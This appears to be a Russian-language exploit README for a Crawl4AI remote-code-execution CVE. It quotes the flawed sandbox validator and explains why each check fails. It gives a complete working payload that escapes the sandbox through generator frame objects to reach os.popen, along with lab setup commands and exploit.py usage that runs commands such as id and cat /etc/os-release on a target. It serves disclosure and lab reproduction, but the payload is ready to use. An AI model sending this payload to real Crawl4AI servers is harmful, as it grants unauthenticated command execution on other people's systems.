CVE-2026-53753 — Crawl4AI <0.8.7 неаутентифицированное RCE (побег из песочницы AST через gi_frame.f_back). Лаборатория + PoC, подтверждено e2e.
Предварительная аутентификация RCE в Crawl4AI
< 0.8.7. Сформированная схемаJsonCssExtractionStrategy, отправленная на неаутентифицированныйPOST /crawlendpoint, достигает вычислителя вычисляемых полей (_safe_eval_expression), обходит его белый список AST через объекты фреймов Python, достигает реальногоbuiltins, и выполняет__import__('os').popen(<cmd>).read()— возвращая вывод команды внутри полосы в JSON-ответе.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Затронуто | Crawl4AI <= 0.8.6 |
| Исправлено | 0.8.7 |
| Класс | CWE-94 (Code Injection) / обход песочницы Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Нет — поставляемая конфигурация имеет jwt_enabled: false |
| Статус | ПОДТВЕРЖДЕНО — воспроизведено от начала до конца на официальном образе unclecode/crawl4ai:0.8.6 |
Подробное погружение: см.
ANALYSIS.mdдля пошагового обхода AST, стека фреймов во время выполнения, потока данных запроса и diff исправления.
crawl4ai/extraction_strategy.py позволяет схеме извлечения определять вычисляемые
поля — небольшие выражения Python, вычисляемые для каждого извлеченного элемента. Они выполняются
_safe_eval_expression(), которая пытается поместить выражение в песочницу с помощью
белого списка AST и урезанного __builtins__:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Блокировка доступа к атрибутам с подчеркиванием, например __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # нет __import__, нет eval, нет open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
Валидатор — запрет по префиксу: он отвергает только имена, которые начинаются с _
(плюс import). Эта единственная эвристика и есть вся песочница — и у нее есть три
дыры, которые в сочетании дают полный обход:
| # | Дыра | Почему это важно |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins не начинаются с _ | Доступна вся поверхность интроспекции фреймов/генераторов Python. |
| 2 | obj['__import__'] — это ast.Subscript, не ast.Attribute | Валидатор никогда не проверяет ключи словарного subscript, поэтому ключ __import__ проходит. |
| 3 | Цепочка f_back работающего генератора ведет к внешнему фрейму, чей f_builtins — это реальный builtins | Обходит урезанный _SAFE_EVAL_BUILTINS обратно к полному (__import__ и т.д.). |
Схема достигает этой функции без аутентификации: Docker API поставляется
с security.jwt_enabled: false, поэтому зависимость токена /crawl — lambda: None.
Выражение вычисляемого поля:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Разбор по частям:
| Фрагмент | Роль | Почему валидатор разрешает |
|---|---|---|
(lambda: ... )() | Создает область видимости функции, чтобы имя, связанное с walrus, жило в замыкающей ячейке. | ast.Lambda не проверяется. |
g := ( <expr> for i in [1]) | Привязывает генератор к g и тело генератора ссылается на g (самого себя). | := и выражения-генераторы не проверяются. (Walrus запрещён в итерабельной части генератора, поэтому помещен в элемент кортежа.) |
list(g) | Запускает генератор — чтобы его фрейм был активен при выполнении тела. | list есть в безопасных встроенных модулях. |
g.gi_frame | Объект фрейма генератора. | gi_frame не начинается с _. |
.f_back.f_back.f_back | Поднимается вверх на три фрейма до того, у которого есть реальные встроенные модули. | f_back не начинается с _. |
.f_builtins | Словарь встроенных модулей этого фрейма (реальный). | f_builtins не начинается с _. |
['__import__'] | Извлекает __import__ из словаря встроенных модулей. | Subscript словаря — не проверяется. |
('os') | __import__('os') → модуль os. | Цель вызова — Subscript, не Name/Attribute. |
.popen('id').read() | Выполняет команду и возвращает её stdout. | popen/read не начинаются с _. |
Поскольку значение генератора — это os.popen(cmd).read(), stdout команды становится значением поля и отражается в ответе /crawl — внутренний оракул, OAST не нужен.
Пока list(g) перебирает генератор, стек вызовов выглядит так:
frame: _safe_eval_expression() <-- реальные builtins (__import__ живёт здесь) ← f_back ×3
└ frame: <expression> (eval) <-- песочница builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- песочница ← f_back ×1
└ frame: <genexpr> g <-- ВЫПОЛНЯЕТСЯ; g.gi_frame — это фрейм ← gi_frame
g.gi_frame.f_back заполняется только пока генератор выполняется (именно поэтому
генератор должен ссылаться сам на себя и запускаться через list(g) —
незапущенный генератор имеет f_back is None). Проход по f_back три раза
попадает на фрейм _safe_eval_expression, чей f_builtins — это полный модуль
встроенных функций — из которого __import__ извлекается через subscript.
Глубина фрейма стабильна для этого пути кода:
f_back × 3корректно для Crawl4AI 0.8.6_safe_eval_expression.
Официальный образ содержит уязвимую конфигурацию по умолчанию (без аутентификации):
# Вариант A — docker compose (обычный хост Docker с bridge-сетью)
docker compose -f lab/docker-compose.yml up -d
# Вариант B — простой docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Подождите ~20 секунд, пока прогреется пул браузеров (docker logs crawl4ai-vuln →
Application startup complete).
# Просмотр тела запроса без отправки:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Запуск (stdout команды возвращается в ответе):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py использует только стандартную библиотеку Python — никаких зависимостей.